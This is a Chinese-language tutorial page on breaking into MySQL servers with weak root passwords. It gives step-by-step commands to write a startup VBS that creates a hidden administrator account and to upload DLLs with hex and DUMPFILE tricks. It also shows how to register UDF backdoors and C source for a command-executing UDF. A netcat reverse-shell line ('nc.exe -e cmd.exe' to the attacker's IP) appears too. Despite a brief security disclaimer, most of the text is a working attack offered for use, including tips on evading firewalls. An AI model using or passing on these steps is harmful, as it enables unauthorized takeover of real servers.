萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mysql教程 >> mysql 弱口令攻擊過程詳細

mysql 弱口令攻擊過程詳細

下面我們只講術了入庫過程,關於如何寫vbs這段我己去了,因是為教程也是告訴各位朋友如何來做好朋友器安全了,有需了解的朋友可以參考一下。

1. 連接到對方MYSQL 服務器mysql -u root -h 192.168.0.1mysql.exe 這個程序在你安裝了MYSQL的的BIN目錄中

2. 讓我們來看看服務器中有些什麼數據庫mysql >show databases;MYSQL默認安裝時會有MYSQL、TEST這兩個數據庫,如果你看到有其它的數據庫那麼就是用戶自建的數據庫。

3. 讓我們進入數據庫mysql >use test;我們將會進入test數據庫中

4. 查看我們進入數據庫中有些什麼數據表mysql >show tables;默認的情況下,test中沒有任何表的存在。

以下為關鍵的部分
5. 在TEST數據庫下創建一個新的表;mysql >create table a (cmd text);好了,我們創建了一個新的表,表名為a,表中只存放一個字段,字段名為cmd,為text文本。

6. 在表中插入內容

引用

 代碼如下 復制代碼

mysql >insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql >insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
mysql >insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );


注意雙引號和括號以及後面的"0"一定要輸入!我們將用這三條命令來建立一個VBS的腳本程序!

7. 好了,現在我們來看看表a中有些什麼mysql >select * from a;我們將會看到表中有三行數據,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步

8. 輸出表為一個VBS的腳本文件mysql >select * from a into outfile "c:\docume~1\alluse~1\「開始」菜單\程序\啟動\a.vbs";我們把我們表中的內容輸入到啟動組中,是一個VBS 的腳本文件!注意" "符號。

9. 看到這大家肯定知道了,就是利用MYSQL輸出一個可執行的文件而已。為什麼不用BAT呢,因為啟動運行時會有明顯的DOS窗口出來,而用VBS腳本則可以完全隱藏窗口且不會有錯誤提示!本來,應該還有一句完成腳本後自動刪除此腳本的,但是中文目錄實在無法處理,只有作罷!好了,找個工具攻擊135讓服務器重啟吧

下面看網友操作


下面,我們先說如何生成二進制文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):
 

 代碼如下 復制代碼  set @a = concat('',0x0123abc1312389…..);
  set @a = concat(@a,0x4658978abc545e……);
  ………………….
  create table Mix(data LONGBLOB);//建表Mix,字段為data,類型為longblob
  insert into Mix values("");update Mix set data = @a;//@a插入表Mix
  select data from Mix into DUMPFILE 'C:\Winnt\文件名';//導出表中內容為文件

  前兩句很熟悉把,這個就是我們以前注入的時候,繞過’的解決辦法,把代碼的16進制數聲明給一個變量,然後導入這個變量就行了。只不過這裡,因為16進制代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變量a中。後面幾句就很簡單了,我都有注釋。

腳本生成了,如何上傳?先登陸mysql服務器:
 

 代碼如下 復制代碼  C:>mysql –u root –h hostip –p
  Mysql>use mysql; //先進入mysql默認得數據庫,否則你下一步的表將不知道屬於哪個庫
  Mysql>. E:*.dll.txt; //這兒就是你生成的mysql腳本
  按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當然網速要快啦),不一會你的文件舊上傳完畢了!
  下面到達我們的重點,我們上傳什麼dll文件?就目前我再網上看到的有兩個已經寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!
  先用mix.dll:
  登陸mysql,輸入命令:
  Mysql> . e:mix.dll.txt;
  Mysql> Create FUNCTION Mixconnect RETURNS STRING SONAME 'C:\windows\mix.dll';
  //這兒的注冊的Mixconnect就是在我們dll文件中實現的函數,我們將要用他執行系統命令!
  Mysql> select Mixconnect('你的ip','8080'); //填寫你的反彈ip和端口

  過一會兒,你監聽8080端口的nc,就會得到一個系統權限的shell了!如圖1:
  這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接數據庫後,再次運行“select Mixconnect('你的ip','8080');”的時候,對方的mysql會當掉!報錯,然後服務停止!
  所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
 

 代碼如下 復制代碼  再用my_udf.dll:
  Mysql>. C:my_udf.dll.txt
  Mysql> Create FUNCTION my_udfdoor RETURNS STRING SONAME 'C:\winnt\my_udf.dll';
  //同樣地,my_udfdoor也是我們注冊後,用來執行系統命令得函數
  Mysql> select my_udfdoor('’); //這兒可以隨便寫my_udfdoor得參數,相當於我們只是要激活這個函數
  好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:
  D:>nc hostip 3306
  *

  4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入“f**k” ,他是my_udfdoor默認密碼,自己無法更改
  過一會兒,你就有了系統權限的shell了,
  由於他是hook recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令“select my_udfdoor('’);”後),不管你是否連接,只要執行了:
  Mysql>drop function my_udfdoor; 後,mysql也匯報錯,然後掛掉,
  所以,你使用這個dll文件無法刪除你的痕跡!
  最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。
  我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
  

 代碼如下 復制代碼 #i nclude <stdlib.h>
  #i nclude <winsock.h>
  #i nclude <mysql.h>
  extern "C" {
  char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
  char *error);
  // 兼容C
  }
  char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
  char *error)
  {
  char * me = "my name";
  return me;
  // 調用此UDF將返回 my name
  }

  十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
  下面是我的一個哥們Crackme是修改的:
  

 代碼如下 復制代碼 #i nclude <stdlib.h>
  #i nclude <windows.h>
  #i nclude "mysql.h"
  extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改
  __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //當然這兒的sys_name也得改!
  {
  char me[256] = {0};
  if (args->arg_count == 1){
  strncpy(me,args->args[0],args->lengths[0]);
  me[args->lengths[0]]='';
  WinExec(me,SW_HIDE); //就是用它來執行任意命令
  }else
  strcpy(me,"do nonthing.n");
  return me;
  }
  

好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
  看操作:
 

 代碼如下 復制代碼  Mysql>. C:sysudf.dll.txt
  Mysql>Create function sys_name returns string soname 'C:\windows\sysudf.dll';
  Mysql>. Nc.exe.txt //把nc.exe也上傳上去
  Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
  //sys_name參數只有一個,參數指定要執行的系統命令
  

好,看看在Win2003中的一個反彈shell了,
  當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時“drop function sys_name;”,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了

copyright © 萬盛學電腦網 all rights reserved